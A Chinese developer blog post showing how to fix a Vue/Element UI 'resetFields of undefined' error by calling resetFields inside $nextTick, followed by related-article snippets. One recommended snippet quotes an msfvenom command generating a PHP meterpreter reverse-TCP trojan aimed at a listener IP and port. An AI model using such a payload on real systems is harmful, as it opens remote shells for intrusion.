在做vue element 项目中,做了一个新增 打开弹框的功能,想每次点击新增的时候表单项重置。
1.使用了
this.$refs[formName].resetFields();
2.但是报错了,原因是:
mouted加载数据以后,隐藏的弹出框并没有编译渲染进dom里面。所以click弹出的时候$refs并没有获取到dom元素导致 ‘resetFields’ of undefined
3.解决办法:

添加代码

 resetForm(formName) {
this.$nextTick(() => {
this.$refs[formName].resetFields()
})
}

 注意事项:对DOM一系列的js操作最好都要放进Vue.nextTick()的回调函数中

Error in v-on handler: “TypeError: Cannot read properties of undefined (reading ‘resetFields‘)“的更多相关文章

  1. Vue报错: Uncaught (in promise) TypeError: Cannot read properties of undefined (reading 'protocol')

    Vue报错: Uncaught (in promise) TypeError: Cannot read properties of undefined (reading 'protocol') 报错信 ...

  2. Vue 报错Error in render: “TypeError: Cannot read properties of null (reading ‘xxx’)” found in

    前端vue报错 [Vue warn]: Error in render: "TypeError: Cannot read properties of null (reading 'name' ...

  3. ERROR org.redisson.client.handler.CommandDecoder - Unable to decode data. channel

    一.异常出现的场景 某一天下午,测试突然跑过来说,IOS系统APP访问500,Android没问题.我的第一反应是那就奇怪了,调的接口都是一样的,莫非和系统有关系.而且这个错误重启服务后,过一段时间才 ...

  4. Error: [ng:areq] Argument 'xxxx' is not a function, got undefined

    "Error: [ng:areq] Argument 'keywords' is not a function, got undefined" 代码类似这样的: <div n ...

  5. centos perl: symbol lookup error: /usr/local/lib64/perl5/auto/DBD/mysql/mysql.so: undefined symbol: mysql_init

    之前在安装天兔数据库监控工具lepus的时候,运行时一直报perl: symbol lookup error: /usr/local/lib64/perl5/auto/DBD/mysql/mysql. ...

  6. Error: [ng:areq] Argument ‘AppCtrl’ is not a function, got undefined

    今天把用ionic做一个案例,和ionic示例项目差不多,只是用requirejs分离了controller,但是一直报错 Error: [ng:areq] Argument ‘AppCtrl’ is ...

  7. TypeError: Cannot read property '$$' of undefined at HTMLElement._attached.wx.getPlatform._touchstartHandlerForDevtools

    TypeError: Cannot read property '$$' of undefined     at HTMLElement._attached.wx.getPlatform._touch ...

  8. 初学nodejs之安装Express中遇到的问题: error: option `-v, --view <engine>' argument missing

    Windows安装下载nodejs地址:http://nodejs.org/download/ node -v 查看安装版本,输出版本即安装成功 之前学习了nodejs的基础,今天安装Express框 ...

  9. Error in render: "TypeError: Cannot read property '' of undefined"

    描述 在用Vue的时候出现了一个令人窒息的错误 报错显示 "avatar" 未定义,但在postman中测试返回的数据确实有"avatar",可是为什么未找到? ...

  10. Uncaught TypeError: Cannot read property of undefined In JavaScript

    当脚本遇到未初始化的变量或对象时,通常会抛出如上图所示的错误. Decription 'Undefined'是全局对象的属性.如果没有为变量赋值,则为'undefined'类型.当求值变量没有任何赋值 ...

随机推荐

  1. PostgreSQL常用操作合辑:时间日期、系统函数、正则表达式、库表导入导出、元数据查询、自定义函数、常用案例

    〇.参考地址 1.pg官方文档 http://www.postgres.cn/docs/9.6/index.html 2.腾讯云仓pg文档 https://cloud.tencent.com/docu ...

  2. 【企业流行新数仓】Day02:DWS层(按日分区的宽表)、DWT层(全量累计表)、ADS层、总结

    一.DWS层 1.概括 dwd层的数据,每日轻度聚合,建宽表 表名 粒度 dws_uv_detail_daycount 一个设备是一行 dws_user_action_daycount(只统计今天登录 ...

  3. WinUI(WASDK)使用MediaPipe检查手部关键点并通过ML.NET进行手势分类

    前言 之所以会搞这个手势识别分类,其实是为了满足之前群友提的需求,就是针对稚晖君的ElectronBot机器人的上位机软件的功能丰富,因为本来擅长的技术栈都是.NET,也刚好试试全能的.NET是不是真 ...

  4. 监控Windows(生成php木马)

    sudo su 生成木马: msfvenom --platform php -p php/meterpreter/reverse_tcp lhost=192.168.1.9 lport=55555 R ...

  5. Python报AttributeError: module 'string' has no attribute 'join'解决方法

    报:AttributeError: module 'string' has no attribute 'join' 属性错误:模块"string"没有属性"join&qu ...

  6. Apache Kafka 移除 ZK Proposals

    Zookeeper 和 KRaft 这里有一篇 Kafka 功能改进的 proposal 原文.要了解移除 ZK 的原因,可以仔细看看该文章.以下是对该文章的翻译. 动机 目前,Kafka 使用 Zo ...

  7. mysql 复制数据

    1.表存在 insert into table_name(key1,key2) select key3,key4 from table_name_2; 2.表不存在 create table test ...

  8. WebGoat-8.2.2靶场之不安全的反序列化漏洞

    前言 序列化是将变量或对象转换成字符串的过程 反序列化就是把一个对象变成可以传输的字符串,目的就是为了方便传输 而反序列化漏洞就是,假设,我们写了一个class,这个class里面存有一些变量.当这个 ...

  9. 期望与概率 dp

    期望与概率 dp \(\text{By DaiRuiChen007}\) I. [洛谷4316] - 绿豆蛙的归宿 \(\text{Link}\) 思路分析 DAG 上做期望 dp,可以爆搜,也可以拓 ...

  10. 今天试试NuxtJS

    nuxt可以大幅缩短首屏加载时间 Progressive Web App (PWA) Support 渐进式web应用 简单说 就是让你的web应用表现的就像本地应用一样,可以添加快捷方式 打开的时候 ...